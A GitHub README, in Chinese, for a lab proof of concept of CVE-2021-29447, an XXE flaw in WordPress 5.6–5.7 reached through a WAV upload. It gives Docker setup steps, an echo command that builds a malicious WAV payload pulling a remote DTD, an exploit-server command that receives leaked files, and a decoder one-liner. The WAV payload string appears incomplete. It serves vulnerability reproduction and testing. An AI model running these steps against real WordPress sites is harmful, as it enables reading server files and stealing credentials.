rdana55/CVE-2021-29447-PoC

GitHub: rdana55/CVE-2021-29447-PoC

针对 WordPress 5.6-5.7 getID3 库 XXE 注入漏洞(CVE-2021-29447)的完整 PoC,提供 Docker 靶场环境与恶意 WAV 文件载荷生成,实现通过文件上传触发任意文件读取。

Stars: 0 | Forks: 0

# CVE-2021-29447-PoC ## 概述 CVE-2021-29447 是一个 XML 外部实体 (XXE) 注入漏洞,影响运行 PHP 8.0 及以上版本的 WordPress 5.6 至 5.7(在 5.7.1 版本中已修复)。该漏洞存在于用于解析媒体元数据的 getID3 库中。 WordPress 通过 getID3 处理 WAV 文件的 iXML 块,该过程会调用带有 LIBXML_NOENT 标志的 simplexml_load_string()。此标志会显式启用外部实体替换,从而绕过了 PHP 8 默认的 XXE 防护机制(已废弃的 libxml_disable_entity_loader())。 1. 认证用户(Author 及以上角色)上传恶意 WAV 文件 2. getID3 → iXML 块 → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT) 3. 获取外部 DTD → PHP data:// 包装器 → 任意文件泄露 ## PoC 环境搭建 此 PoC 使用 Docker 化的 WordPress 5.7 + PHP 8.0.3 演示该漏洞。Linux 用户可以使用单文件脚本,该脚本也会生成 WAV/DTD 文件。 ▶️: https://youtu.be/YnGowuWHFyY ### 前置条件与环境设置 1. 在 Windows 主机上安装 Docker Desktop 2. 创建专用项目目录(所有 PowerShell 命令均在此处执行): #powershell mkdir cve-2021-29447-poc cd cve-2021-29447-poc 3. 部署存在漏洞的 WordPress: #powershell notepad docker-compose.yml *复制并粘贴 docker-compose.yml 的内容* 4. 启动容器: #powershell docker-compose up -d 5. 禁用自动更新(这对于保持漏洞存在至关重要): #powershell docker-compose exec wordpress bash #bash sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php tail -5 /var/www/html/wp-config-sample.php exit 6. 验证受影响版本: #powershell docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v" *预期结果: WordPress 5.7, PHP 8.0+* 7. WordPress 安装: 访问:*http://localhost:8080* 管理员:*test* / *test* / *test@test.com* 完成设置 → 访问 /wp-admin 8. 获取攻击者 IP: #powershell ipconfig | findstr IPv4 *记录你的 IP(例如 192.168.1.196)* ### 生成漏洞利用载荷 1. 创建 DTD 载荷: #powershell notepad evil.dtd *复制并粘贴 evil.dtd 的内容* 2. 生成 WAV 载荷(Linux 命令行): #bash echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick;]>\x00' > payload.wav *通过 python3 -m http.server 8000 传输 → 在 Windows 浏览器中下载(例如 http://:8000)* *注意:由于 Windows 环境中二进制转义较为复杂,因此需单独创建 WAV 文件* 3. 部署漏洞利用服务器: #powershell notepad exploit.py *复制并粘贴 exploit.py 的内容* 命令: #powershell python exploit.py -l YOUR_IP -p PORT ### 漏洞利用 1. 触发 XXE: http://localhost:8080/wp-admin → 媒体 → 添加 上传 *payload.wav* 2. 监控 Python 服务器控制台 -> 捕获泄露的数据 3. 解码 Base64+Zlib 载荷: #powershell $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd() ## 缓解措施 升级至 WordPress 5.7.1 或更高版本,或者在 getID3 解析中禁用 LIBXML_NOENT。
标签:AI合规, CISA项目, CVE-2021-29447, Docker, Docker Compose, getID3库, Maven, PHP 8.0, PoC, WAV文件处理, Web安全, WordPress, XML外部实体注入, XXE漏洞, 任意文件读取, 安全漏洞, 安全防御评估, 应用安全, 文件完整性监控, 文件读取, 暴力破解, 漏洞复现, 漏洞验证, 网络安全审计, 蓝队分析, 请求拦截, 逆向工具, 靶场环境